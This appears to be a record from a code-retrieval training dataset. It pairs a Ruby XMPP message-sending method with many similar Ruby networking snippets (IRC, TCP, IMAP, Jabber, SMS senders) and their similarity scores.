msg\n end\n end\n end\n\n client.register_handler :message, :chat?, :body do |m|\n if ROSTER.include?(m.from.stripped.to_s)\n puts \"[PVT] => #{m.inspect}\"\n for msg in process_message(m.from, m.body)\n client.write msg\n end\n end\n end\n\n end",
"def create_connection\n self.setup\n RfmAdaptor::Connection.new(self.server_name)\n end",
"def connect_socket\n @irc = Net::YAIL.new(\n :address => @servers[@nextserver],\n :port => @port,\n :username => @nick,\n :realname => @realname,\n :nicknames => @nicks,\n :silent => false,\n :loud => false\n )\n\n # Simple hook for welcome to allow auto-joining of the channel\n EVENTS.each do |event|\n @irc.prepend_handler(event.to_sym,\n self.method((\"handle_\" + event).to_sym))\n end\n end",
"def connect\n raise NotImplementedError, \"#connect should be overridden by adapters\"\n end",
"def amqp_connect\n\n ocon = opt('connection')\n\n if BOSS.connection && ( ! ocon)\n BOSS.connection\n else\n Bunny.new(Ruote.keys_to_sym(ocon || {}))\n end\n end",
"def connect()\n # HTTP doesnt use a static connection, so there's really nothing to do then call the connect method of the Interface class:\n super()\n end",
"def connect\n TCPSocket.open(@host, @port)\n end",
"def start\n\t\tself.socket.connect( self.class.host, self.class.port )\n\n\t\tsuper\n\tend",
"def initialize port=5554\n @connection = Net::Telnet.new \"Host\" => \"localhost\",\n \"Port\" => port\n end",
"def initialize(nickname, server, options={})\n @server = server\n @nickname = nickname\n @options = options\n @port = options[:port]\n @port = 9999 if @port == nil and options[:ssl] != nil\n @port = 6667 if @port == nil\n @handlers = {}\n @raw_handler = nil\n @quit = nil\n @channels = @options[:channels]\n @channels = [] if @channels == nil\n @channels.push(@options[:channel]) unless @options[:channel] == nil\n @password = options[:password]\n end",
"def connect\n @connection = Net::HTTP.new(@params[:server], @params[:port])\n @connection.use_ssl = true if @params[:scheme] == 'https'\n @connection.start\n end",
"def establish_connection\n @connection = Net::IMAP.new(@server)\n @connection.authenticate(@authentication, @username, @password)\n end",
"def connect\r\n begin\r\n TCPSocket.new(@server, @port) #used for checking the connection\r\n puts \"Connection successful!\"\r\n run()\r\n rescue => exception\r\n puts \"Failed to connect to : #{@server}:#{@port}\"\r\n puts \"Closing...\"\r\n sleep(2)\r\n end\r\n \r\n end",
"def start\n begin\n @query.connect\n rescue Exception => e\n puts \"#{e}. Could not connect to Teamspeak server. No server is running or you provided incorrect login data in your config/ENV vars.\"\n exit(1)\n end\n\n @api = @query.get_api\n @api.select_virtual_server_by_id(1)\n Bootstrap.start if Settings.run_bootstrapping?\n $has_sort_values = Server.groups.values.any? do |group|\n group[1] > 0\n end\n info = $has_sort_values ? \"SORT IDS\" : \"IDS\"\n puts \"Pigeon Info: Use group #{info} for determing permissions.\"\n end",
"def real_connect(*args)\n @connection_params = args unless args.empty?\n super(*@connection_params)\n end",
"def connect\n connection.tap do |c|\n c.start\n end\n end",
"def start\n @quit = nil\n @socket = self.connect()\n self.on_message(/^PING/) { |event|\n self.send_raw_line(\"PING \"+event[:matchdata].post_match)\n }\n self.on_server_message(353) { |event|\n }\n self.on_server_message(376) do |event|\n if @password and !@authenticated then\n self.message 'NickServ', \"IDENTIFY #{@password}\"\n @authenticated = true\n end\n @channels.each { |channel|\n if channel.kind_of? Hash then\n self.send_raw_line(\"JOIN \"+channel.keys.first+\" \"+channel.values.first)\n else\n self.send_raw_line(\"JOIN \"+channel)\n end\n }\n end\n \n self.send_raw_line(\"USER \"+@nickname+\" \"+@nickname+\" \"+@nickname+\" \"+@nickname)\n self.send_raw_line(\"NICK \"+@nickname)\n begin\n while line = @socket.gets\n handle_raw_line(line) \n end\n rescue IOError => ioe\n raise ioe unless @quit\n end\n end",
"def connection; end",
"def connection; end",
"def connection; end",
"def connection; end"
] |
[
"0.6925999",
"0.67407614",
"0.6693163",
"0.65647227",
"0.65532696",
"0.6491738",
"0.6475261",
"0.6412864",
"0.626863",
"0.6267199",
"0.6238911",
"0.61804545",
"0.616728",
"0.6157813",
"0.6157813",
"0.6119708",
"0.6114899",
"0.61099833",
"0.6099769",
"0.60798335",
"0.6046802",
"0.60413605",
"0.6038725",
"0.6038659",
"0.5981989",
"0.59818375",
"0.5925961",
"0.5921127",
"0.5898117",
"0.5896413",
"0.58618796",
"0.58450866",
"0.58366495",
"0.5802725",
"0.57828486",
"0.57814676",
"0.577029",
"0.5746616",
"0.574387",
"0.57321745",
"0.57305175",
"0.5722623",
"0.5707088",
"0.57065123",
"0.570585",
"0.57016647",
"0.5690154",
"0.5688739",
"0.56628394",
"0.56619215",
"0.5657267",
"0.5649716",
"0.5648582",
"0.563028",
"0.562742",
"0.5621171",
"0.5620962",
"0.5602687",
"0.5602023",
"0.55948305",
"0.55891144",
"0.55879396",
"0.55878234",
"0.55814403",
"0.55772847",
"0.55671746",
"0.55584025",
"0.5538699",
"0.5522093",
"0.54972947",
"0.54912",
"0.54904854",
"0.5486124",
"0.5474345",
"0.54718614",
"0.5469832",
"0.54637444",
"0.5461449",
"0.5458274",
"0.5446817",
"0.54427755",
"0.5442119",
"0.5440252",
"0.5432966",
"0.5428199",
"0.54279083",
"0.5420513",
"0.5418527",
"0.54108703",
"0.5410422",
"0.5408101",
"0.5405972",
"0.5405888",
"0.5404926",
"0.53962255",
"0.5393936",
"0.53874165",
"0.53874165",
"0.53874165",
"0.53874165"
] |
0.6480254
|
6
|
SEND: XMPP General method for sending xmppmessages. Notce! clientparameter contains the client that is used to send the message, not the client that is receving the message
|
def sendMessage(args, client = @send_client)
jabmsg = Jabber::Message::new(args[:receiver], args[:message]).set_type(:chat).set_id('1')
begin
Timeout::timeout(10) do
client.send(jabmsg)
puts "XMPP TO: " + args[:receiver].to_s
puts "XMPP MESSAGE: " + args[:message].to_s
end
rescue => e
puts "XMPP Exception in sending: " + e + "\n"
puts "XMPP Reconnecting to server and trying again"
puts " (-- line #{e.backtrace[0].to_s} )"
if client == @receive_client
puts "re-connecting to RECEIVE_client"
connect(@receive_client)
else
puts "re-connecting to SEND_client"
connect(@@send_client_info)
end
retry
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def send_message(message); end",
"def send_message(message); end",
"def send_msg(conn,args)\n p = @app.get_client(conn) #pega objeto Player da lista de clientes\n unless p.nil?\n @app.broadcast(Message.new('chat','txt',\n {'author' => CGI::escapeHTML(p.to_s), 'msg' => CGI::escapeHTML(args['msg'])}\n )) #envia a mensagem para todos os clientes\n end\n end",
"def send_message(msg); end",
"def send_message (*params)\n send_line Message.new(*params)\n end",
"def send_message(subject, message, recipients, adminEmail, params)\n # execute_operation(:send_message, { nickname: nickname, subject: subject, recipients: recipients, message: message, adminEmail: adminEmail params: params })\n raise RuntimeError, 'Not implemented'\n end",
"def send_mess(mess)\n\t@client.puts(mess)\t\nend",
"def send_message(jid,text)\n m = Jabber::Message.new(jid, text)\n m.set_type :chat\n @client.send m\n end",
"def sendStanza(client_info, xml)\n Thread.new{\n client = connect(client_info)#Client.new(JID.new(client_info[:id]))\n #client.connect\n #client.auth(client_info[:psword])\n #client.send(Jabber::Presence.new.set_type(:available))\n begin\n Timeout::timeout(5) {\n client.send_with_id(xml)\n puts \"Stanza sent (1)\"\n }\n rescue Exception => t\n puts t.to_s\n end\n puts \"Stanza sent (2)\"\n }\n end",
"def send_message(text)\n end",
"def send(message)\n if message.length > 0\n # The client will return an empty string\n # on success, or it will return an error\n error = @client.transmit(message)\n if error.length > 0\n new_message(error)\n end\n end\n end",
"def sendmsg(*args, &block)\n inbox.sendmsg(*args, &block)\n end",
"def send_message(content, parent=nil)\n if parent\n @connection.send_data(make_packet(\"send\", {\"content\" => content.to_s, \"parent\" => parent}))\n else\n @connection.send_data(make_packet(\"send\", {\"content\" => content.to_s}))\n end\n end",
"def send_message(**opts, &with_communication_do)\n raise NotImplementedError\n end",
"def send( a )\n\t\tbegin\n\t @jabbermsg.body = a\n \t @jabberchatroom.send( @jabbermsg )\n \trescue Jabber::ServerDisconnected\n \t\tputs \"Server disconnected. Trying reconnect\"\n \t\t@jabberReconnect = true\n \t\t@jabberRetryMessage = a\n \trescue Jabber::JabberError => e\n \t\tputs \"Error for #{e.error.to_s.inspect}\"\n \t\tputs \"Trying reconnect\"\n \t\t@jabberReconnect = true\n \t\t@jabberRetryMessage = a\n \tend\n\tend",
"def send(message)\n message\n end",
"def send_msg(data, connection)\n # TODO\n end",
"def transmit(client_id, message, reliable = false, channel = ChannelManager::CHAT)\n @server.send_packet(client_id, message, reliable, channel)\n end",
"def send_msg(data, connection)\n # TODO\n end",
"def send_message(message)\n @socket.send(message << \"\\n\", 0, nil, @client)\n end",
"def send_message\n rkey = 'recipient-variables'\n set_multi_simple rkey, JSON.generate(@recipient_variables)\n @message[rkey] = @message[rkey].first if @message.key?(rkey)\n\n response = @client.send_message(@domain, @message).to_h!\n message_id = response['id'].gsub(/\\>|\\</, '')\n @message_ids[message_id] = count_recipients\n reset_message\n end",
"def send_msg(data, connection)\n connection.send_msg(data)\n end",
"def sendmsg(message)\n text = message.respond_to?(:sendmsg) ? message.sendmsg : message.to_s\n message = \"sendmsg\\n%s\\n\" % text\n self.respond_to?(:send_data) ? send_data(message) : message\n end",
"def sendMsgCallBack(msg, client)\n message_arr = msg.getMessage().split(\" \")\n \n # Removes and stores the src and dst from the message\n src = message_arr.shift()\n dst = message_arr.shift()\n to_print = \"SNDMSG: %s --> %s\"\n\n # If the destination reached the right host, it will print out the correct message\n # If not, it will forward it to the next client\n if dst == $hostname\n message_arr = message_arr.join(\" \")\n STDOUT.puts(to_print % [src, message_arr])\n else\n k = $next[dst]\n forward_client = $clients[k]\n sendMessage(forward_client, msg)\n end\nend",
"def send_text_message(client:, user:, body:, tax_return: nil, locale: nil, to: nil)\n intake = Hub::ClientsController::HubClientPresenter.new(client).intake\n return unless intake.sms_notification_opt_in_yes?\n\n if intake.sms_notification_opt_in_yes? && !intake.sms_phone_number.present?\n DatadogApi.increment('clients.missing_sms_phone_number_for_sms_opt_in')\n return\n end\n\n replacement_args = { body: body, client: client, preparer: user, tax_return: tax_return, locale: locale }\n replaced_body = ReplacementParametersService.new(**replacement_args).process\n client.outgoing_text_messages.create!(\n to_phone_number: to || intake.sms_phone_number,\n sent_at: DateTime.now,\n user: user,\n body: replaced_body,\n )\n end",
"def sendChatMessage(a_to, a_text)\n\t\tp 'JabberClient.sendChatMessage'\n\tend",
"def send_message(params)\n uri = URI.parse(@uri)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n parameters = \"\"\n params.each do |k,v|\n if parameters.empty?\n parameters = \"#{k}=#{v}\"\n else\n parameters += \"&#{k}=#{v}\"\n end\n end\n sig = generate_signature(params)\n parameters += \"&signature=#{sig}\"\n puts parameters \n response = http.post(\"/api/2/apps/#{@key}/messages.json\", \"#{URI.escape(parameters)}\")\n puts response\n return response.body\n end",
"def send_an_email(message, subject, to)\n message_params = {}\n message_params[:from] = 'QuikSort Bot <***@quiksort.in>'\n message_params[:to] = to\n message_params[:subject] = subject\n message_params[:text] = message\n logger.info $MG_CLIENT.send_message 'quiksort.in', message_params\nend",
"def send_message\n chat = Chat.find(params[:chat])\n SendMessageToChat.call(@previa_group, chat, params[:message])\n\n respond_to do |format|\n format.html { redirect_to previa_group_chat_path(@previa_group, :chat => chat) }\n format.json { head :no_content }\n end\n end",
"def send_message!(params = {})\n call_api(\"directmessage/#{secret}/#{token}\",params)\n end",
"def sendmsg(type, where, message, chan=nil, ring=0,plain=nil)\n #if !plain\n # p = PirateTranslator.new\n # message = p.translate(message)\n # debug \"Piratized message: #{message}\"\n #end\n super(type,where,message,chan,ring)\n end",
"def send(clients=1, bytesize=50)\n $log.info \"Send message bytesize: #{bytesize}\"\n\n message = Message.new(bytesize).to_s\n\n start = Time.now.to_f\n \n @client_class.send(@url, message, clients, @clients.first)\n \n $log.info \"msg to #{clients} clients. #{(Time.now.to_f - start).to_msec} ms\"\n end",
"def send_message(opts = {})\n @client.update(opts[:message])\n end",
"def send_message(recipient, message_text, opts={})\n valid_options = opts.only(:from)\n valid_options.merge!(:req_feat => '48') if valid_options[:from]\n response = execute_command('sendmsg',\n {:to => recipient, :text => message_text}.merge(valid_options)\n ) \n parse_response(response)['ID']\n end",
"def send_msg(message, *args)\n # Fix in ruby osc gem\n args = args.map { |a|\n case a\n when true then 1\n when false then 0\n else\n a\n end\n }\n\n case message\n when Message, Bundle\n osc_client.send(message)\n else\n osc_client.send Message.new(message, *args)\n end\n\n self\n end",
"def send_message(from, recipients)\n self.sent = true\n self.read = true\n \n if recipients == :all\n self.peer = \"All\"\n else\n if recipients.class.to_s != \"Array\"\n recipients = [recipients]\n end\n self.peer = recipients.join(\", \")\n end \n \n if from == :system\n self.user_id = 0\n else\n sender = User.find_by_username(from)\n if sender\n self.user_id = sender.id\n else\n return\n end \n end\n if self.save\n async_send_message(self.id, recipients)\n end\n end",
"def send_msg(template_id, to, reply_to, from, subject, optional = {})\n\n if optional[:attachments]\n upload(template_id, to, reply_to, from, subject, optional[:merge_fields], optional[:view_online], optional[:click_tracking],\n optional[:suppress_address], optional[:attachments], optional[:headers], optional[:reply_name], optional[:from_address])\n else\n params = optional ? optional.clone : {}\n params[:template_id] = template_id\n params[:to] = to\n params[:reply_to] = reply_to\n params[:from] = from\n params[:subject] = subject\n\n post @endpoint, params\n end\n end",
"def sendM(message)\n\t\t@conexion.puts(message)\t\n\tend",
"def peer_send(peer,message)\r\n\t\t\tpeer.socket.puts(message)\r\n\t\tend",
"def send_message(message, wparam = 0, lparam = 0)\n with_handle { User32.SendMessage(@handle, User32::EditMessage[message], wparam, lparam) }\n end",
"def send(msg=\"\")\n\t\tif @connected\n\t\t\t@sock.write \"\\1#{msg}\\r\\n\" # leading \\1 for terse reply\n\t\tend\n\tend",
"def send_message\n message = render_to_string(:partial => 'messages/message', :object => @message)\n Juggernaut.send_to_channel(javascript_chat_message(message), @message.channel_id)\n end",
"def send(message)\n ## empty\n end",
"def send_message(message)\n check_parenthesis(message)\n puts \"Send: #{message}\" if @debug\n connection{|c| c.write(message)}\n end",
"def live_send(destinations,body,clientmessagereference,options = {})\n @options[:method] = 'sendsms'\n @options[:destinations] = to_csv(destinations) \n @options[:clientmessagereference] = clientmessagereference\n @options[:body] = body\n @options.merge(options)\n response = ta_response(send_params)\n return response\n end",
"def send_msg_to_client ws, req_id, module_id, msg\n msg = compose_request req_id, module_id, msg\n ws.send ['client', msg].to_json\n end",
"def send_message(msg)\n session.transport.send_message(msg)\n end",
"def send_message\n create_sender_communication\n create_receiver_communication\n update_sent_at\n self.save\n end",
"def send(socket, type, content, ident=nil)\n header = {\n :msg_type => type,\n :msg_id => @msg_id,\n :username => @username,\n :session => @session\n }\n @msg_id += 1\n\n list = serialize(header, content, ident)\n list.each_with_index do |part, i|\n socket.send_string(part, i == list.size - 1 ? 0 : ZMQ::SNDMORE)\n end\n end",
"def sendmsg(s)\n @sock.send \"#{s}\\n\", 0 \n end",
"def send_message(data)\n\n #this is called by js script client side\n\n #The data local variable contains a hash \n #so we can access the message's body quite \n #easily to save it to the database:\n\n \n message_params = data['message'].each_with_object({}) do |el, hash|\n hash[el.values.first] = el.values.last\n end\n \n #creates a message based on passed params, \n #after message is saved to database it broadcasts itself to clients\n #(receive method on conversation js)\n \n Message.create(message_params)\n \n \n #or\n #current_user.messages.create(body: data['message'])\n \n #builds a hash that’s based on a passed data \n # and sends data to the front-end using the ActionCable.server.broadcast \n # method to the specified channel. \n # Data sent from this method is visible in the received method on the front-end.\n #ActionCable.server.broadcast(\n # \"conversations-#{current_user.id}\",\n # message: message_params\n #)\n\n\n\n #or (from medium tut)\n\n #sender = get_sender(data)\n #room_id = data['room_id']\n #message = data['message']\n\n #raise 'No room_id!' if room_id.blank?\n #convo = get_convo(room_id) # A conversation is a room\n #raise 'No conversation found!' if convo.blank?\n #raise 'No message!' if message.blank?\n\n # adds the message sender to the conversation if not already included\n #convo.users << sender unless convo.users.include?(sender)\n # saves the message and its data to the DB\n #Message.create!(\n # conversation: convo,\n # sender: sender,\n # content: message\n #)\n end",
"def sendAUMessage _args\n \"sendAUMessage _args;\" \n end",
"def send_message(msg, type)\n # Build the message and get it's size\n message = wrap_message(msg, type).serialize_to_string\n message_size = [message.length].pack('N')\n\n # Write the message to the SSL client and get the response\n @gtv.ssl_client.write(message_size + message)\n data = \"\"\n @gtv.ssl_client.readpartial(1000,data)\n @gtv.ssl_client.readpartial(1000,data)\n\n # Extract the response from the Google TV\n outer = OuterMessage.new\n outer.parse_from_string(data)\n\n return outer\n end",
"def send_async(*args) # msg, client_queue, client_query_id, use_tcp=@use_tcp)\r\n # @TODO@ Need to select a good Header ID here - see forgery-resilience RFC draft for details\r\n msg = args[0]\r\n client_query_id = nil\r\n client_queue = nil\r\n use_tcp = @use_tcp\r\n if (msg.kind_of?String)\r\n msg = Message.new(msg)\r\n end\r\n query_packet = make_query_packet(msg, use_tcp)\r\n if (udp_packet_size < query_packet.length)\r\n TheLog.debug(\"Query packet length exceeds max UDP packet size - using TCP\")\r\n use_tcp = true\r\n end\r\n if (args.length > 1)\r\n if (args[1].class==Queue)\r\n client_queue = args[1]\r\n elsif (args.length == 2)\r\n use_tcp = args[1]\r\n end\r\n if (args.length > 2)\r\n client_query_id = args[2]\r\n if (args.length > 3)\r\n use_tcp = args[3]\r\n end\r\n end\r\n end\r\n # Need to keep track of the request mac (if using tsig) so we can validate the response (RFC2845 4.1)\r\n #Are we using EventMachine or native Dnsruby?\r\n if (Resolver.eventmachine?)\r\n return send_eventmachine(query_packet, msg, client_query_id, client_queue, use_tcp)\r\n else\r\n if (!client_query_id)\r\n client_query_id = Time.now + rand(10000)\r\n end\r\n send_dnsruby(query_packet, msg, client_query_id, client_queue, use_tcp)\r\n return client_query_id\r\n end\r\n end",
"def send(options={})\n end",
"def send(*rest) end",
"def send(*rest) end",
"def send(*rest) end",
"def send_to_single(pars)\n @message = Message.new(pars)\n @message.sender = current_user\n if @message.save\n flash[:info] = \"Your message has been sent to #{@message.receiver.full_name}\"\n else\n flash[:error] = \"Your message could not be sent to #{@message.receiver.full_name}\"\n end\n end",
"def send_message(msg)\n send_data({:type => :message, :body => msg})\n end",
"def send_request(type, msg, flags=NLM_F_REQUEST, sockaddr=SOCKADDR_DEFAULT, seq=next_seq, pid=@pid, vflags=0, controls=[])\n @socket.sendmsg(\n build_message(type, msg, flags, seq, pid),\n vflags, sockaddr, *controls\n )\n end",
"def send_message\n if message.present?\n sender.send_message(receiver, message, I18n.t(\"activity.verb.#{ contact_verb }.#{ receiver.subject_type }.message\", :name => sender.name))\n end\n end",
"def send(body=nil)\n msg = Jabber::Message.new(@to)\n msg.type = :chat\n msg.body = body || @message\n @base.stanza(msg)\n end",
"def send_message(subject:, text:, from: nil)\n super(to: get_attribute(:name), subject: subject, text: text, from: from)\n end",
"def send_message(subject:, text:, from: nil)\n super(to: get_attribute(:name), subject: subject, text: text, from: from)\n end",
"def send(message)\n\t\t\t@conn.send(message)\n\t\tend",
"def send(**message)\n\t\t\t\t\tdata = dump(message)\n\t\t\t\t\t\n\t\t\t\t\tif data.bytesize > MAXIMUM_MESSAGE_SIZE\n\t\t\t\t\t\traise ArgumentError, \"Message length #{message.bytesize} exceeds #{MAXIMUM_MESSAGE_SIZE}: #{message.inspect}\"\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tSync do\n\t\t\t\t\t\t@endpoint.connect do |peer|\n\t\t\t\t\t\t\tpeer.send(data)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend",
"def send_message(content, tts = false, embed = nil, attachments = nil, allowed_mentions = nil, message_reference = nil, components = nil)\n @bot.send_message(@id, content, tts, embed, attachments, allowed_mentions, message_reference, components)\n end",
"def sendMsg user, content, wait = false\n # find the user account send to\n send_to = if user.instance_of? User\n user.account\n elsif user.instance_of? String\n user\n elsif user.instance_of? Fixnum\n User.find(:id => user).account\n end\n msg = Jabber::Message.new(send_to).set_type(:chat)\n if content.instance_of? Array\n content.each do |e|\n @cl.send(msg.set_body(e.to_s))\n $logger.info %|Send Message to \"#{send_to}\", with \"#{e.to_s}\"|\n end\n elsif content.instance_of? String\n @cl.send(msg.set_body(content))\n $logger.info %|Send Message to \"#{send_to}\", with \"#{content}\"|\n end\n sleep 0.4 if wait\n end",
"def send_sms(params)\n self.current_params = params\n response = send_request(params)\n smart_response(response.parsed_response)\n end",
"def send_sms(sender, numbers, text, **params)\n # Create the send XMLmarkup\n estimate_cost = estimate_cost(numbers, text)\n return -1 if estimate_cost == -1\n\n if estimate_cost < get_balance\n identity = \"#{Time.now.to_i}#{rand(1000000000..9999999999)}\"\n batchID = @company + \"+\" + identity\n is_persian_text = is_persian(text)\n msgClass = params[\"flash\"] ? \"0\" : \"1\"\n dcs = is_persian_text ? \"8\" : \"0\"\n binary = is_persian_text ? \"true\" : \"false\"\n text = text.to_h if is_persian_text\n\n builder = Builder::XmlMarkup.new()\n builder.instruct! :xml, version: \"1.0\", encoding: \"UTF-8\"\n builder.declare! :DOCTYPE, :smsBatch, :PUBLIC, \"-//PERVASIVE//DTD CPAS 1.0//EN\", \"http://www.ubicomp.ir/dtd/Cpas.dtd\"\n builder.smsBatch(company: @company, batchID: batchID) do |b|\n b.sms(msgClass: msgClass, binary: binary, dcs: dcs) do |t|\n numbers.each do |number|\n t.destAddr() do |f|\n f.declare! \"[CDATA[%s]]\" % number\n end\n end\n t.origAddr() do |f|\n f.declare! \"[CDATA[%s]]\" % sender\n end\n t.message() do |f|\n f.declare! \"[CDATA[#{text}]]\"\n end\n end\n end\n\n out_xml = builder.target!\n\n result = send_xml(out_xml)\n\n source = XML::Parser.string(result)\n content = source.parse\n\n if content.find_first('ok')\n if content.find_first('ok').content.include? 'CHECK_OK'\n @errors = nil\n batchID\n else\n @errors = \"Something going wrong\"\n nil\n end\n else\n @errors = content.find_first('message').content.strip\n nil\n end\n else\n @errors = 'Not enough balance'\n nil\n end\n end",
"def send_room_msg\n r = params[:r]\n m = params[:m]\n u = params[:u]\n MsgUtil.send_room_msg(u, r, m)\n success()\n end",
"def send_message(message) \n @SocketHandle = TCPSocket.open(@Host,@Port)\n @SocketHandle.puts message \n server_reply = @SocketHandle.gets \n\n server_reply \n end",
"def send_message\n self.get_message\n self.conn.get.status\n end",
"def send_message(params = {})\n send_message!(params)\n rescue LoginRadius::Exception => e\n false\n end",
"def send(msj)\n begin\n @msj = msj\n !@adm.avlconn ? (raise \"There are no active connections\") : t=Thread.new{@sendtype.send(self){|e| yield e if block_given?}}\n t[:type]='sp'\n rescue Exception => e\n @adm.log.error \"Error sending message :: #{e.message}\" unless @adm.log.nil?\n raise e.message\n end\n end",
"def sendUDPMessage _args\n \"sendUDPMessage _args;\" \n end",
"def send_message(message_text)\n @selected.send_message(message_text)\n end",
"def post(command, *params)\n m = Message.new(nil, command, params.map {|s|\n if s\n #s.force_encoding(\"ASCII-8BIT\") if s.respond_to? :force_encoding\n #s.gsub(/\\r\\n|[\\r\\n]/, \" \")\n s.tr(\"\\r\\n\", \" \")\n else\n \"\"\n end\n })\n\n @log.debug \"SEND: #{m.to_s.chomp}\"\n @socket << m.to_s\n end",
"def send_node(node)\n# node[\"from\"] = jid if !node.attributes[\"from\"] && node.attributes[\"to\"]\n send_string(node.to_xml)\n end",
"def sendMessage(addresses, opts={})\n message = opts[:message]\n subject = opts[:subject]\n group = opts[:group]\n attachments = (opts[:attachments] || opts[:attachment])\n\n if (attachments || group || !subject.to_s.empty?)\n immnSendMMS(addresses, \n :attachments => attachments, \n :message => message,\n :subject => subject, \n :group => group)\n else\n immnSendSMS(addresses, message)\n end\n end",
"def send_message(*args, **kwargs)\n bot = kwargs.fetch(:bot) { args.fetch(0) }\n args[0] = id\n kwargs[:chat_id] = id\n bot.send_message(*args, **kwargs)\n end",
"def send_message(message)\n raise NotImplementedError, 'Raw connections do not support send_message. Please subclass and define a send_message method.'\n end",
"def send(data)\n @client.send(data)\n end",
"def enviarMensaje(mensaje)\n @@socket.puts mensaje\n end",
"def send(uuid, conn_id, msg)\n header = \"%s %d:%s\" % [uuid, conn_id.join(' ').length, conn_id.join(' ')]\n string = header + ', ' + msg \n #puts \"\\t\\treplying to #{conn_id} with: \", string\n rc = @response_sock.send_string string, ZMQ::NOBLOCK\n puts \"errno [#{ZMQ::Util.errno}] with description [#{ZMQ::Util.error_string}]\" unless ZMQ::Util.resultcode_ok?(rc)\n end",
"def on_sendable(sender)\n # While sender credit is available\n # and number of sent messages is less than count\n while (sender.credit > 0) && (@sent < @count)\n # Create new message\n msg = Qpid::Proton::Message.new\n # If message content is set\n if @msg_content\n # If message content is string and contains formatting part\n if @msg_content.is_a? String and @msg_content =~ /%[0-9]*d/\n # Format message content with number of sent messages\n msg.body = sprintf(@msg_content, @sent)\n else\n # Set message content as it is\n msg.body = @msg_content\n end\n end # if\n # Set message durability\n msg.durable = @msg_durable\n # Set message TTL (ms)\n msg.ttl = @msg_ttl\n # If message correlation ID is set\n if @msg_correlation_id\n msg.correlation_id = @msg_correlation_id\n end # if\n # Set reply to address\n msg.reply_to = @msg_reply_to\n # If message group ID is set\n if @msg_group_id\n msg.group_id = @msg_group_id\n end\n # Send message\n sender.send(msg)\n # Increase number of sent messages\n @sent = @sent + 1\n if @log_msgs == \"body\"\n Formatters::BasicFormatter.new(msg).print\n elsif @log_msgs == \"dict\"\n Formatters::DictFormatter.new(msg).print\n end\n end # while\n end",
"def raw_send(message)\n TalkerBase.instance.output << \"#{id} send #{message}\"\n end",
"def send_message(message)\n @networking.send_message(message)\n end",
"def _send_message data\n response << data\n end",
"def send_message(template_id, to, reply_to, from, subject, merge_fields = nil, view_online = false,\n click_tracking = true, suppress_address = false, attachments = nil, headers = nil)\n if attachments\n upload(template_id, to, reply_to, from, subject, merge_fields, view_online, click_tracking,\n suppress_address, attachments, headers, nil, nil)\n else\n post @endpoint, params = {template_id: template_id, to: to, reply_to: reply_to, from: from,\n subject: subject, merge_fields: merge_fields, view_online: view_online,\n click_tracking: click_tracking, suppress_address: suppress_address, headers: headers}\n end\n end",
"def notify module_id, msg\n msg[:client_id] = @client_id\n msg[:username] = @username\n @ws.send ['client', compose_request(nil, module_id, msg)].to_json\n end",
"def event_incoming_chat(client, msg)\nend",
"def _transmit(used_socket, command, headers = {}, body = '')\n\n # p [ \"wirewrite\" ]\n # _dump_callstack()\n\n if @protocol >= Stomp::SPL_11 && command != Stomp::CMD_CONNECT\n headers = _encodeHeaders(headers)\n end\n @transmit_semaphore.synchronize do\n # Handle nil body\n body = '' if body.nil?\n # The content-length should be expressed in bytes.\n # Ruby 1.8: String#length => # of bytes; Ruby 1.9: String#length => # of characters\n # With Unicode strings, # of bytes != # of characters. So, use String#bytesize when available.\n body_length_bytes = body.respond_to?(:bytesize) ? body.bytesize : body.length\n\n # ActiveMQ interprets every message as a BinaryMessage\n # if content_length header is included.\n # Using :suppress_content_length => true will suppress this behaviour\n # and ActiveMQ will interpret the message as a TextMessage.\n # For more information refer to http://juretta.com/log/2009/05/24/activemq-jms-stomp/\n # Lets send this header in the message, so it can maintain state when using unreceive\n headers[:'content-length'] = \"#{body_length_bytes}\" unless headers[:suppress_content_length]\n headers[:'content-type'] = \"text/plain; charset=UTF-8\" unless headers[:'content-type'] || headers[:suppress_content_type]\n _wire_write(used_socket,command)\n headers.each do |k,v|\n if v.is_a?(Array)\n v.each do |e|\n _wire_write(used_socket,\"#{k}:#{e}\")\n end\n else\n _wire_write(used_socket,\"#{k}:#{v}\")\n end\n end\n _wire_write(used_socket,\"\")\n if body != ''\n if headers[:suppress_content_length]\n if tz = body.index(\"\\00\")\n used_socket.write body[0..tz-1]\n else\n used_socket.write body\n end\n else\n used_socket.write body\n end\n end\n used_socket.write \"\\0\"\n used_socket.flush if autoflush\n\n if @protocol >= Stomp::SPL_11\n @ls = Time.now.to_f if @hbs\n end\n\n end\n end",
"def send_message(message)\n # currently use notifications to send message, as send message doesn't seem to \n # work to android devices. Otherwise would have used this:\n #\n # JSON.parse(User.notifo.send_message(self.username, message))\n send_notification(message)\n end",
"def send_message(arg1, arg2)\n account_sid = 'AC5XXXXXXXXXXXXXXXXXXX' # place twilio sid here\n auth_token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXX' # place twilio auth token here\n client = Twilio::REST::Client.new(account_sid, auth_token)\n \n from = '' # Your Twilio number\n to = arg1 # Your mobile phone number\n \n client.messages.create(\n from: from,\n to: to,\n body: arg2\n )\n\n end",
"def send(xml)\n msg = <<EOL\n<?xml version=\"1.0\"?>\n<?qbxml version=\"#{QBXML_VERSION}\"?>\n<QBXML>\n <QBXMLMsgsRq onError=\"continueOnError\">\n #{xml}</QBXMLMsgsRq>\n</QBXML>\nEOL\n puts msg\n @soap_client.ProcessRequest(@ticket, xml)\n end",
"def distribute(client)\n client.account.messages.create(\n :from => '+16412438808',\n :to => contact.Phone_Number,\n :body => message.contents)\n end",
"def send_linked_in_message(sendto, subject, message)\n send_message({:sendto => sendto, :subject => subject, :message => message})\n end",
"def send(to, text)\n begin\n @log.info \"Sending message to '#{to}'\"\n @client.send Message::new(to, text).set_type(:chat).set_id('1').set_subject('Boti')\n return true\n rescue\n @log.error \"Error sending message to '#{to}'\"\n return false\n end\n end"
] |
[
"0.6530843",
"0.6530843",
"0.64775795",
"0.64474255",
"0.61949897",
"0.6178032",
"0.6167656",
"0.616258",
"0.614283",
"0.6111387",
"0.6029982",
"0.60292256",
"0.6010723",
"0.59718424",
"0.59715956",
"0.5936464",
"0.58512276",
"0.5835966",
"0.57869095",
"0.5765655",
"0.57620835",
"0.5752032",
"0.5725192",
"0.56905067",
"0.5675396",
"0.5666523",
"0.5664391",
"0.5653778",
"0.5647648",
"0.5644953",
"0.5621105",
